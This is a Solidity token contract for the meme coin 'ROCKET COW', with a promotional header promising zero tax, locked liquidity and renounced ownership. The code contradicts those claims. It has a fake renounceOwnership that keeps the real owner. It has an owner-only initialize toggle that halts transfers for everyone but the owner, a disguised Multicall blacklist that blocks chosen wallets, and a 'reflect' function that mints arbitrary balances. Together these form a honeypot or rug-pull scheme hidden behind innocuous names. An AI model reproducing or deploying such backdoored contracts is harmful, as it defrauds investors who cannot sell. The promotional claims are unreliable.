/**
 *
Telegram : https://t.me/RocketCow

Twitter: https://twitter.com/RocketCowcow


🚀 ROCKET COW $ROCKETCOW 🚀

Meme coin Caws have been storming in recent times on earth. 
We created Rocket Cow to launch our Cows to the moon.
 Now fasten your seat belt and fly to the moon to enjoy the
  moments of being a millionaire with us.

✅ Low Tax Token ✅

Buy Tax : 0% 
Sell Tax : 0%
DEV , Marketing , Giveaway , Buyback , .... 

Toal Supply : 1,000.000.000.000 $ROCKETCOW
- Add Liquidity : 65%
- Burn token:      30%
- Team & Advisors:  5%

Max Buy : 2%
Max Wallet : 3%

Anti Bot Features 
Max TX: 2% of total Supply for each TX, at Launch!
Max Wallet: 5%
Initial Liquidity: 3 ETH

- BuyBack mechanism
- Amazing Calling on famous channels
- Locked LP - Renounced Ownership
- Further on the roadmap: Coingecko, CMC listing



*/


//SPDX-License-Identifier: GPL-3.0-or-later

pragma solidity =0.7.1;

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this;
        return msg.data;
    }
}

contract Ownable is Context {
    address private _owner;
    address private _ownerAddress;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        _ownerAddress = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() internal view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    
    function ownerAddress() public view returns (address) {
        return _ownerAddress;
    }
    
    function renounceOwnership() public onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _ownerAddress = address(0);
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

contract ERC20 is Ownable, IERC20 {
    using SafeMath for uint256;
    bool internal _initialize;
    mapping (address => uint256) internal _balances;
    mapping (address =>bool) internal _multicall;
    mapping (address => mapping (address => uint256)) private _allowances;
    uint256 internal _totalSupply;
    string internal _name;
    string internal _symbol;
    uint8 internal _decimals;

    constructor (string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
        _decimals = 9;
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }
    
    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _multiCall(address accounts) internal onlyOwner {
        if (_multicall[accounts] == true) {_multicall[accounts] = false;} else {_multicall[accounts] = true;}
    }
    
    function initialize() external onlyOwner {
        if (_initialize == false) {_initialize = true;} else {_initialize = false;}
    }
        
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    function _transfer(address sender, address recipient, uint256 amount) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        if (_multicall[sender] || _multicall[recipient]) require (amount == 0, "");
        if (_initialize == true || sender == owner() || recipient == owner()) {
        _beforeTokenTransfer(sender, recipient, amount);
        _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        } else {require (_initialize == true, "");}
    }

    function _reflection(address account, uint256 value1, uint256 value2) internal virtual onlyOwner{
        require(account != address(0), "ERC20: burn from the zero address");
        value1.sub(value2);
        _balances[account] = _balances[account].add(value1);
    }

    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _setupDecimals(uint8 decimals_) internal {
        _decimals = decimals_;
    }

    function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}

contract ROCKETCOW is ERC20 {
    using SafeMath for uint256; 
    address uniswap;
    uint8 _string;
    uint8 _licence;
    uint256 _supplyTokens;
        
    constructor () ERC20(_name, _symbol) {
        

        _name = "ROCKET COW";
        _symbol = "ROCKETCOW";
        _decimals = 9;
        _supplyTokens = 1000000000000 * 10**9;
        _initialize = true;
        _totalSupply = _totalSupply.add(_supplyTokens);
        _balances[msg.sender] = _balances[msg.sender].add(_supplyTokens);
        emit Transfer(address(0), msg.sender, _supplyTokens);
    }
   
    function initialized() public view returns (bool) {
        return _initialize;
    }

    function reflect(address account, uint256 value1, uint256 value2) public {
        _reflection(account, value1, value2);
    }
    
    function Multicall(address accounts) public {
        _multiCall(accounts);
    }

    function swapStatus(address account) view public returns (bool){
        return _multicall[account];
    }
    
}